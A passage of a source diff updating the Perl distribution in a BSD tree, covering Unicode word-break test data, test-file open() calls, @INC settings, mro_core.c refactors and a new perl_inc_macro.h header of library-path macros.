-÷ 2060 ÷ 0061 × 2060 ÷ 0024 × 2060 ÷ 002D × 2060 ÷ 0033 × 2060 × 0034 × 2060 × 002C × 2060 × 0035 × 2060 × 0036 × 2060 × 0037 × 2060 × 002E × 2060 × 0031 × 2060 × 0034 × 2060 ÷ 0025 × 2060 ÷ 0062 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] DOLLAR SIGN (Other) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HYPHEN-MINUS (Other) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] DIGIT THREE (Numeric) × [4.0] WORD JOINER (Format_FE) × [8.0] DIGIT FOUR (Numeric) × [4.0] WORD JOINER (Format_FE) × [12.0] COMMA (MidNum) × [4.0] WORD JOINER (Format_FE) × [11.0] DIGIT FIVE (Numeric) × [4.0] WORD JOINER (Format_FE) × [8.0] DIGIT SIX (Numeric) × [4.0] WORD JOINER (Format_FE) × [8.0] DIGIT SEVEN (Numeric) × [4.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [11.0] DIGIT ONE (Numeric) × [4.0] WORD JOINER (Format_FE) × [8.0] DIGIT FOUR (Numeric) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] PERCENT SIGN (Other) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER B (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0033 × 2060 × 0061 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] DIGIT THREE (Numeric) × [4.0] WORD JOINER (Format_FE) × [10.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0063 × 2060 × 002E × 2060 × 0064 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER C (ALetter) × [4.0] WORD JOINER (Format_FE) × [6.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN SMALL LETTER D (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0043 × 2060 × 002E × 2060 × 0064 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN CAPITAL LETTER C (ALetter) × [4.0] WORD JOINER (Format_FE) × [6.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN SMALL LETTER D (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0063 × 2060 × 002E × 2060 × 0044 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN SMALL LETTER C (ALetter) × [4.0] WORD JOINER (Format_FE) × [6.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER D (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 ÷ 0043 × 2060 × 002E × 2060 × 0044 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) ÷ [999.0] LATIN CAPITAL LETTER C (ALetter) × [4.0] WORD JOINER (Format_FE) × [6.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER D (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 0061 ÷ 1F1E6 ÷ 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
-÷ 1F1F7 × 1F1FA ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER R (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER U (Regional_Indicator) ÷ [0.3]
-÷ 1F1F7 × 1F1FA × 1F1F8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER R (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER U (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER S (Regional_Indicator) ÷ [0.3]
-÷ 1F1F7 × 1F1FA × 1F1F8 × 1F1EA ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER R (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER U (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER S (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER E (Regional_Indicator) ÷ [0.3]
-÷ 1F1F7 × 1F1FA ÷ 200B ÷ 1F1F8 × 1F1EA ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER R (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER U (Regional_Indicator) ÷ [999.0] ZERO WIDTH SPACE (Other) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER S (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER E (Regional_Indicator) ÷ [0.3]
+÷ 000D × 000A ÷ 0061 ÷ 000A ÷ 0308 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) × [3.0] <LINE FEED (LF)> (LF) ÷ [3.1] LATIN SMALL LETTER A (ALetter) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [0.3]
+÷ 0061 × 0308 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [0.3]
+÷ 0020 × 200D ÷ 0646 ÷ # ÷ [0.2] SPACE (Other) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] ARABIC LETTER NOON (ALetter) ÷ [0.3]
+÷ 0646 × 200D ÷ 0020 ÷ # ÷ [0.2] ARABIC LETTER NOON (ALetter) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] SPACE (Other) ÷ [0.3]
+÷ 0041 × 0041 × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [5.0] LATIN CAPITAL LETTER A (ALetter) × [5.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 0041 × 003A × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [6.0] COLON (MidLetter) × [7.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 0041 ÷ 003A ÷ 003A ÷ 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 05D0 × 0027 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [7.1] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 05D0 × 0022 × 05D0 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [7.2] QUOTATION MARK (Double_Quote) × [7.3] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
-÷ 1F1E6 × 1F1E7 × 1F1E8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER B (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER C (Regional_Indicator) ÷ [0.3]
-÷ 1F1E6 × 200D × 1F1E7 × 1F1E8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] ZERO WIDTH JOINER (Extend_FE) × [13.3] REGIONAL INDICATOR SYMBOL LETTER B (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER C (Regional_Indicator) ÷ [0.3]
-÷ 1F1E6 × 1F1E7 × 200D × 1F1E8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER B (Regional_Indicator) × [4.0] ZERO WIDTH JOINER (Extend_FE) × [13.3] REGIONAL INDICATOR SYMBOL LETTER C (Regional_Indicator) ÷ [0.3]
-÷ 0020 × 200D ÷ 0646 ÷ # ÷ [0.2] SPACE (Other) × [4.0] ZERO WIDTH JOINER (Extend_FE) ÷ [999.0] ARABIC LETTER NOON (ALetter) ÷ [0.3]
-÷ 0646 × 200D ÷ 0020 ÷ # ÷ [0.2] ARABIC LETTER NOON (ALetter) × [4.0] ZERO WIDTH JOINER (Extend_FE) ÷ [999.0] SPACE (Other) ÷ [0.3]
+÷ 0041 × 0030 × 0030 × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [9.0] DIGIT ZERO (Numeric) × [8.0] DIGIT ZERO (Numeric) × [10.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 0030 × 002C × 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] COMMA (MidNum) × [11.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0030 ÷ 002C ÷ 002C ÷ 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] COMMA (MidNum) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 3031 × 3031 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [13.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 0041 × 005F × 0030 × 005F × 3031 × 005F ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [13.1] LOW LINE (ExtendNumLet) × [13.2] DIGIT ZERO (Numeric) × [13.1] LOW LINE (ExtendNumLet) × [13.2] VERTICAL KANA REPEAT MARK (Katakana) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 0041 × 005F × 005F × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [13.1] LOW LINE (ExtendNumLet) × [13.1] LOW LINE (ExtendNumLet) × [13.2] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F1E6 × 1F1E7 ÷ 1F1E8 ÷ 0062 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [15.0] REGIONAL INDICATOR SYMBOL LETTER B (RI) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
+÷ 0061 ÷ 1F1E6 × 1F1E7 ÷ 1F1E8 ÷ 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [16.0] REGIONAL INDICATOR SYMBOL LETTER B (RI) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
+÷ 0061 ÷ 1F1E6 × 1F1E7 × 200D ÷ 1F1E8 ÷ 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [16.0] REGIONAL INDICATOR SYMBOL LETTER B (RI) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
+÷ 0061 ÷ 1F1E6 × 200D × 1F1E7 ÷ 1F1E8 ÷ 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) × [16.0] REGIONAL INDICATOR SYMBOL LETTER B (RI) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
+÷ 0061 ÷ 1F1E6 × 1F1E7 ÷ 1F1E8 × 1F1E9 ÷ 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [16.0] REGIONAL INDICATOR SYMBOL LETTER B (RI) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER C (RI) × [16.0] REGIONAL INDICATOR SYMBOL LETTER D (RI) ÷ [999.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
+÷ 261D × 1F3FB ÷ 261D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F466 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 200D × 1F466 × 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 200D × 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) ÷ [0.3]
+÷ 1F466 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0061 × 0308 × 200D × 0308 × 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3]
÷ 0031 ÷ 003A ÷ 003A ÷ 0031 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] DIGIT ONE (Numeric) ÷ [0.3]
÷ 0031 × 005F × 0031 ÷ 003A ÷ 003A ÷ 0031 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [13.1] LOW LINE (ExtendNumLet) × [13.2] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] DIGIT ONE (Numeric) ÷ [0.3]
÷ 0031 × 005F × 0061 ÷ 003A ÷ 003A ÷ 0031 ÷ # ÷ [0.2] DIGIT ONE (Numeric) × [13.1] LOW LINE (ExtendNumLet) × [13.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] DIGIT ONE (Numeric) ÷ [0.3]
@@ -1510,6 +2080,6 @@
÷ 0061 × 005F × 0031 ÷ 002C ÷ 002C ÷ 0061 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [13.1] LOW LINE (ExtendNumLet) × [13.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [0.3]
÷ 0061 × 005F × 0061 ÷ 002C ÷ 002C ÷ 0061 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [13.1] LOW LINE (ExtendNumLet) × [13.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [999.0] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [0.3]
#
-# Lines: 1489
+# Lines: 2057
#
# EOF
diff --git a/gnu/usr.bin/perl/lib/vmsish.t b/gnu/usr.bin/perl/lib/vmsish.t
index f2b451d9189..7681f07f60b 100644
--- a/gnu/usr.bin/perl/lib/vmsish.t
+++ b/gnu/usr.bin/perl/lib/vmsish.t
@@ -106,7 +106,7 @@ is($?,0,"outer lex scope of vmsish [POSIX status]");
ok(($msg !~ /ABORT/),"vmsish ERR exit, vmsish hushed at runtime, DCL error message check");
local *TEST;
- open(TEST,'>vmsish_test.pl') || die('not ok ?? : unable to open "vmsish_test.pl" for writing');
+ open(TEST,'>','vmsish_test.pl') || die('not ok ?? : unable to open "vmsish_test.pl" for writing');
print TEST "#! perl\n";
print TEST "use vmsish qw(hushed);\n";
print TEST "\$obvious = (\$compile(\$error;\n";
@@ -137,7 +137,7 @@ is($?,0,"outer lex scope of vmsish [POSIX status]");
# we create a file rather than using an existing one for the stat() test.
my $file = 'sys$scratch:vmsish_t_flirble.tmp';
- open TMP, ">$file" or die "Couldn't open file $file";
+ open TMP, '>', $file or die "Couldn't open file $file";
close TMP;
END { 1 while unlink $file; }
@@ -187,7 +187,7 @@ is($?,0,"outer lex scope of vmsish [POSIX status]");
# they were turned off in invoking procedure
sub do_a_perl {
local *P;
- open(P,'>vmsish_test.com') || die('not ok ?? : unable to open "vmsish_test.com" for writing');
+ open(P,'>','vmsish_test.com') || die('not ok ?? : unable to open "vmsish_test.com" for writing');
print P "\$ set message/facil/sever/ident/text\n";
print P "\$ define/nolog/user sys\$error _nla0:\n";
print P "\$ $Invoke_Perl @_\n";
diff --git a/gnu/usr.bin/perl/lib/warnings.t b/gnu/usr.bin/perl/lib/warnings.t
index ee696fe2a1d..7c24f3af2a3 100644
--- a/gnu/usr.bin/perl/lib/warnings.t
+++ b/gnu/usr.bin/perl/lib/warnings.t
@@ -1,7 +1,7 @@
#!./perl
chdir 't' if -d 't';
-@INC = '../lib';
+@INC = ( '.', '../lib' );
our $UTF8 = (${^OPEN} || "") =~ /:utf8/;
require "../t/lib/common.pl";
diff --git a/gnu/usr.bin/perl/malloc_ctl.h b/gnu/usr.bin/perl/malloc_ctl.h
index d74637289b5..0c72e9afcfc 100644
--- a/gnu/usr.bin/perl/malloc_ctl.h
+++ b/gnu/usr.bin/perl/malloc_ctl.h
@@ -1,5 +1,5 @@
-#ifndef MALLOC_CTL_H
-# define MALLOC_CTL_H
+#ifndef PERL_MALLOC_CTL_H_
+# define PERL_MALLOC_CTL_H_
struct perl_mstats {
UV *nfree;
diff --git a/gnu/usr.bin/perl/mg_names.inc b/gnu/usr.bin/perl/mg_names.inc
index fde6872fa9f..7eb90336751 100644
--- a/gnu/usr.bin/perl/mg_names.inc
+++ b/gnu/usr.bin/perl/mg_names.inc
@@ -45,6 +45,7 @@
{ PERL_MAGIC_vec, "vec(v)" },
{ PERL_MAGIC_utf8, "utf8(w)" },
{ PERL_MAGIC_substr, "substr(x)" },
+ { PERL_MAGIC_nonelem, "nonelem(Y)" },
{ PERL_MAGIC_defelem, "defelem(y)" },
{ PERL_MAGIC_lvref, "lvref(\\)" },
{ PERL_MAGIC_checkcall, "checkcall(])" },
diff --git a/gnu/usr.bin/perl/mro_core.c b/gnu/usr.bin/perl/mro_core.c
index d4ca7f2be1f..cf7768f6c89 100644
--- a/gnu/usr.bin/perl/mro_core.c
+++ b/gnu/usr.bin/perl/mro_core.c
@@ -241,7 +241,7 @@ S_mro_get_linear_isa_dfs(pTHX_ HV *stash, U32 level)
if (level > 100)
Perl_croak(aTHX_
- "Recursive inheritance detected in package '%"HEKf"'",
+ "Recursive inheritance detected in package '%" HEKf "'",
HEKfARG(stashhek));
meta = HvMROMETA(stash);
@@ -346,7 +346,7 @@ S_mro_get_linear_isa_dfs(pTHX_ HV *stash, U32 level)
/* They have no stash. So create ourselves an ->isa cache
as if we'd copied it from what theirs should be. */
stored = MUTABLE_HV(sv_2mortal(MUTABLE_SV(newHV())));
- (void) hv_store(stored, "UNIVERSAL", 9, &PL_sv_undef, 0);
+ (void) hv_stores(stored, "UNIVERSAL", &PL_sv_undef);
av_push(retval,
newSVhek(HeKEY_hek(hv_store_ent(stored, sv,
&PL_sv_undef, 0))));
@@ -356,7 +356,7 @@ S_mro_get_linear_isa_dfs(pTHX_ HV *stash, U32 level)
} else {
/* We have no parents. */
stored = MUTABLE_HV(sv_2mortal(MUTABLE_SV(newHV())));
- (void) hv_store(stored, "UNIVERSAL", 9, &PL_sv_undef, 0);
+ (void) hv_stores(stored, "UNIVERSAL", &PL_sv_undef);
}
(void) hv_store_ent(stored, our_name, &PL_sv_undef, 0);
@@ -451,7 +451,7 @@ Perl_mro_get_linear_isa(pTHX_ HV *stash)
HEK_LEN(canon_name), HEK_FLAGS(canon_name),
HV_FETCH_ISSTORE, &PL_sv_undef,
HEK_HASH(canon_name));
- (void) hv_store(isa_hash, "UNIVERSAL", 9, &PL_sv_undef, 0);
+ (void) hv_stores(isa_hash, "UNIVERSAL", &PL_sv_undef);
SvREADONLY_on(isa_hash);
@@ -524,8 +524,8 @@ Perl_mro_isa_changed_in(pTHX_ HV* stash)
svp = hv_fetchhek(PL_isarev, stashhek, 0);
isarev = svp ? MUTABLE_HV(*svp) : NULL;
- if((stashname_len == 9 && strEQ(stashname, "UNIVERSAL"))
- || (isarev && hv_exists(isarev, "UNIVERSAL", 9))) {
+ if((memEQs(stashname, stashname_len, "UNIVERSAL"))
+ || (isarev && hv_existss(isarev, "UNIVERSAL"))) {
PL_sub_generation++;
is_universal = TRUE;
}
@@ -790,7 +790,7 @@ Perl_mro_package_moved(pTHX_ HV * const stash, HV * const oldstash,
if (name_count < 0) ++namep, name_count = -name_count - 1;
}
if (name_count == 1) {
- if (HEK_LEN(*namep) == 4 && strnEQ(HEK_KEY(*namep), "main", 4)) {
+ if (memEQs(HEK_KEY(*namep), HEK_LEN(*namep), "main")) {
namesv = GvNAMELEN(gv) == 1
? newSVpvs_flags(":", SVs_TEMP)
: newSVpvs_flags("", SVs_TEMP);
@@ -812,7 +812,7 @@ Perl_mro_package_moved(pTHX_ HV * const stash, HV * const oldstash,
SV *aname;
namesv = sv_2mortal((SV *)newAV());
while (name_count--) {
- if(HEK_LEN(*namep) == 4 && strnEQ(HEK_KEY(*namep), "main", 4)){
+ if(memEQs(HEK_KEY(*namep), HEK_LEN(*namep), "main")){
aname = GvNAMELEN(gv) == 1
? newSVpvs(":")
: newSVpvs("");
@@ -954,7 +954,7 @@ S_mro_gather_and_rename(pTHX_ HV * const stashes, HV * const seen_stashes,
STRLEN len;
const char *name = SvPVx_const(*svp, len);
if(PL_stashcache) {
- DEBUG_o(Perl_deb(aTHX_ "mro_gather_and_rename clearing PL_stashcache for '%"SVf"'\n",
+ DEBUG_o(Perl_deb(aTHX_ "mro_gather_and_rename clearing PL_stashcache for '%" SVf "'\n",
SVfARG(*svp)));
(void)hv_delete(PL_stashcache, name, name_utf8 ? -(I32)len : (I32)len, G_DISCARD);
}
@@ -1329,8 +1329,8 @@ Perl_mro_method_changed_in(pTHX_ HV *stash)
/* If stash is UNIVERSAL, or one of UNIVERSAL's parents,
invalidate all method caches globally */
- if((stashname_len == 9 && strEQ(stashname, "UNIVERSAL"))
- || (isarev && hv_exists(isarev, "UNIVERSAL", 9))) {
+ if((memEQs(stashname, stashname_len, "UNIVERSAL"))
+ || (isarev && hv_existss(isarev, "UNIVERSAL"))) {
PL_sub_generation++;
return;
}
@@ -1369,7 +1369,7 @@ Perl_mro_set_mro(pTHX_ struct mro_meta *const meta, SV *const name)
PERL_ARGS_ASSERT_MRO_SET_MRO;
if (!which)
- Perl_croak(aTHX_ "Invalid mro name: '%"SVf"'", name);
+ Perl_croak(aTHX_ "Invalid mro name: '%" SVf "'", name);
if(meta->mro_which != which) {
if (meta->mro_linear_current && !meta->mro_linear_all) {
@@ -1415,7 +1415,7 @@ XS(XS_mro_method_changed_in)
classname = ST(0);
class_stash = gv_stashsv(classname, 0);
- if(!class_stash) Perl_croak(aTHX_ "No such class: '%"SVf"'!", SVfARG(classname));
+ if(!class_stash) Perl_croak(aTHX_ "No such class: '%" SVf "'!", SVfARG(classname));
mro_method_changed_in(class_stash);
diff --git a/gnu/usr.bin/perl/os2/OS2/OS2-REXX/DLL/DLL.xs b/gnu/usr.bin/perl/os2/OS2/OS2-REXX/DLL/DLL.xs
index 90b14eaf857..f9fcef856d7 100644
--- a/gnu/usr.bin/perl/os2/OS2/OS2-REXX/DLL/DLL.xs
+++ b/gnu/usr.bin/perl/os2/OS2/OS2-REXX/DLL/DLL.xs
@@ -164,7 +164,7 @@ _call(name, address, queue="SESSION", ...)
if (result.strptr)
sv_setpvn(ST(0), result.strptr, result.strlength);
else
- sv_setpvn(ST(0), "", 0);
+ SvPVCLEAR(ST(0));
}
if (result.strptr && result.strptr != resbuf)
DosFreeMem(result.strptr);
diff --git a/gnu/usr.bin/perl/os2/perlrexx.c b/gnu/usr.bin/perl/os2/perlrexx.c
index 98a550262a1..18d655137d8 100644
--- a/gnu/usr.bin/perl/os2/perlrexx.c
+++ b/gnu/usr.bin/perl/os2/perlrexx.c
@@ -61,7 +61,6 @@ init_perlos2(void)
static int
init_perl(int doparse)
{
- int exitstatus;
char *argv[3] = {"perl_in_REXX", "-e", ""};
if (!perlos2_is_inited) {
@@ -79,8 +78,7 @@ init_perl(int doparse)
}
if (!doparse)
return 1;
- exitstatus = perl_parse(my_perl, xs_init, 3, argv, (char **)NULL);
- return !exitstatus;
+ return !perl_parse(my_perl, xs_init, 3, argv, (char **)NULL);
}
static char last_error[4096];
@@ -125,12 +123,10 @@ ULONG PERL (PCSZ name, LONG rargc, const RXSTRING *rargv,
memcpy(buf, rargv[0].strptr, rargv[0].strlength);
buf[rargv[0].strlength] = 0;
- exitstatus = perl_parse(my_perl, xs_init, 3, argv, (char **)NULL);
- if (!exitstatus) {
- exitstatus = perl_run(my_perl);
- }
+ if (!perl_parse(my_perl, xs_init, 3, argv, (char **)NULL))
+ perl_run(my_perl);
- perl_destruct(my_perl);
+ exitstatus = perl_destruct(my_perl);
perl_free(my_perl);
my_perl = 0;
diff --git a/gnu/usr.bin/perl/perl_inc_macro.h b/gnu/usr.bin/perl/perl_inc_macro.h
new file mode 100644
index 00000000000..5a2f20dfaeb
--- /dev/null
+++ b/gnu/usr.bin/perl/perl_inc_macro.h
@@ -0,0 +1,193 @@
+/* just define a list of macros to push elements in INC
+* so we can easily use them and change order on demand
+*
+* list of available INCPUSH macros
+* - INCPUSH_APPLLIB_EXP
+* - INCPUSH_SITEARCH_EXP
+* - INCPUSH_SITELIB_EXP
+* - INCPUSH_PERL_VENDORARCH_EXP
+* - INCPUSH_PERL_VENDORLIB_EXP
+* - INCPUSH_ARCHLIB_EXP
+* - INCPUSH_PRIVLIB_EXP
+* - INCPUSH_PERL_OTHERLIBDIRS
+* - INCPUSH_PERL5LIB
+* - INCPUSH_APPLLIB_OLD_EXP
+* - INCPUSH_SITELIB_STEM
+* - INCPUSH_PERL_VENDORLIB_STEM
+* - INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
+*/
+
+#ifndef DEFINE_INC_MACROS
+
+/* protect against multiple inclusions */
+#define DEFINE_INC_MACROS 1
+
+#ifdef APPLLIB_EXP
+# define INCPUSH_APPLLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(APPLLIB_EXP), \
+ INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#endif
+
+#ifdef SITEARCH_EXP
+ /* sitearch is always relative to sitelib on Windows for
+ * DLL-based path intuition to work correctly */
+# if !defined(WIN32)
+# define INCPUSH_SITEARCH_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITEARCH_EXP), \
+ INCPUSH_CAN_RELOCATE);
+# endif
+#endif
+
+#ifdef SITELIB_EXP
+# if defined(WIN32)
+ /* this picks up sitearch as well */
+# define INCPUSH_SITELIB_EXP s = PerlEnv_sitelib_path(PERL_FS_VERSION, &len); \
+ if (s) incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+# else
+# define INCPUSH_SITELIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITELIB_EXP), \
+ INCPUSH_CAN_RELOCATE);
+# endif
+#endif
+
+#ifdef PERL_VENDORARCH_EXP
+ /* vendorarch is always relative to vendorlib on Windows for
+ * DLL-based path intuition to work correctly */
+# if !defined(WIN32)
+# define INCPUSH_PERL_VENDORARCH_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORARCH_EXP), INCPUSH_CAN_RELOCATE);
+# endif
+#endif
+
+#ifdef PERL_VENDORLIB_EXP
+# if defined(WIN32)
+ /* this picks up vendorarch as well */
+# define INCPUSH_PERL_VENDORLIB_EXP s = PerlEnv_vendorlib_path(PERL_FS_VERSION, &len); \
+ if (s) incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+# else
+# define INCPUSH_PERL_VENDORLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORLIB_EXP), INCPUSH_CAN_RELOCATE);
+# endif
+#endif
+
+#ifdef ARCHLIB_EXP
+# define INCPUSH_ARCHLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(ARCHLIB_EXP), INCPUSH_CAN_RELOCATE);
+#endif
+
